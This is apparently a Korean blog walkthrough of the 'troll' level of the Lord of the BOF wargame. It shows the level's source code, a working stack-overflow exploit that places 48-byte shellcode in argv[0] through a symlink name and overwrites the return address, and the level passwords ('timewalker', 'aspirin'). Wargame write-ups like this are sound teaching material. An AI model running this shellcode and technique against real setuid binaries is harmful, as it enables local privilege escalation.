login : orge
password : timewalker
다시 보니까 여기선 하십시오체를 쓰는데 그냥 컨디션에 따라 달라지는거 같네요 ㅇㅅㅇ...
탐색전
cat을 할 때마다 너무 두근두근..
어떤 코드가 있을까요.
/*
The Lord of the BOF : The Fellowship of the BOF
- troll
- check argc + argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1]));
}
one more!로 알려주는거 같네요.
저번에는 argv[0] 사이즈도 검사했는데 이걸 계속 하기엔 원성이 들릴 것을 알았나 다행이 빼주었습니다.
환경변수 사용이 어렵고
인자를 받고
argv[1]의 48번째는 \xbf의 값이어야 하며,
strcpy에서 bof가 일어나고
buffer을 0으로 채우기 때문에 쉘코드 삽입이 어렵고
one more!
이번에는 argv[1], 그러니까 첫번째 인자의 주소도 0으로 채워버리네요
? 그러면 argv[2] 쓰면 되는거 아닌가?
저번에 문제풀다가 찾아봤던 argv[2]가 여기서 쓸모가 있겠다 싶었습니다.
근데 다시 보니까 argc가 2여야 하네요, 그러니까 argv[2]까지 받지 못합니다.
아니 그럼 남은건 argv[0]인데 이걸 쓸 수 있나?
cp troll myoll
풀이
argv[0]도 쓸 수 있었습니다.
그냥 파일의 이름을 쉘코드로 변경하면 되는데 (mv 명령어로)
그러면 파일 이름이 너무 추해지니까 심볼릭 링크라는 것을 이용해보겠습니다. (어차피 이것도 이름이 추하긴 하지만)
심볼릭 링크는 윈도우에서 바로가기와 같다고 생각할 수 있는데,
ln -s [원본파일] [새로운 파일] 로 사용합니다.
이렇게 되는 것이죠 링크한 파일과 똑같이 동작합니다.
그러면 인자는 어떻게 되는지 테스트해봅시다.
#include<stdio.h>
int main(int argc, char *argv[])
{
printf("argc : %d\nargv[0] : %s\n",argc,argv[0]);
return 0;
}
간단히 테스트를 하는 코드를 만들고
빌드 후 링크
실행해보면 짜잔, 다르게 argv[0]값이 들어있는 걸 볼 수 있습니다.
굳이 원본의 이름을 변경할 필요가 없다는 것이죠.
여기서 궁금한 점은
링크를 걸었을 때에도 setuid가 되는가인데, 이건 해보면서 보도록 합시다.
이제 다시 돌아가서 심볼릭 링크 파일의 이름을 쉘코드로 하여 myoll을 링크합니다. 쉘코드를 사용하는데 있어서 \x2f가 있을 경우 이는 / 기호이기 때문에 디렉토리로 인식할 수 있습니다. 그래서 \x2f가 없는 쉘코드를 구해오도록 합니다.
(https://kortsec1n4mationm.tistory.com/18) 만들 수도 있네요
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
48byte \x2f없는 쉘코드
ln -s myoll $(python -c "print '\x90'*100+'\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' ")
앞에 NOP를 추가하여 심볼릭 링크를 생성
./$(python -c "print '\x90'*100+'\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' ") $(python -c "print 'A'*47+'\xbf'")
실행할 때 python을 사용하고 47개를 A 나머지 하나를 \xbf로 채워 seg fault를 일으켜 core를 확인
그리고
gdb에서 x/24wx $esp-0x50을 하고 계속 보다보면 \x90이 반복되는 부분이 argv[0]일 것입니다.
사진에서는 0xbffffa89에서부터 시작하는데 넉넉히 잡아서 0xbffffa99로 ret를 바꾸겠습니다.
짜잔?
그러면 이제 심볼릭 링크를 myoll이 아닌 troll에 걸고 코드를 다시 만들어봅니다.
rm $(python -c "print '\x90'*100+'\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' ")
ln -s troll $(python -c "print '\x90'*100+'\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' ")
./$(python -c "print '\x90'*100+'\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' ") $(python -c "print 'A'*44+'\x99\xfa\xff\xbf'")
심볼릭 링크를 했어도 setuid는 잘 되네요.
aspirin
이사자 달린다!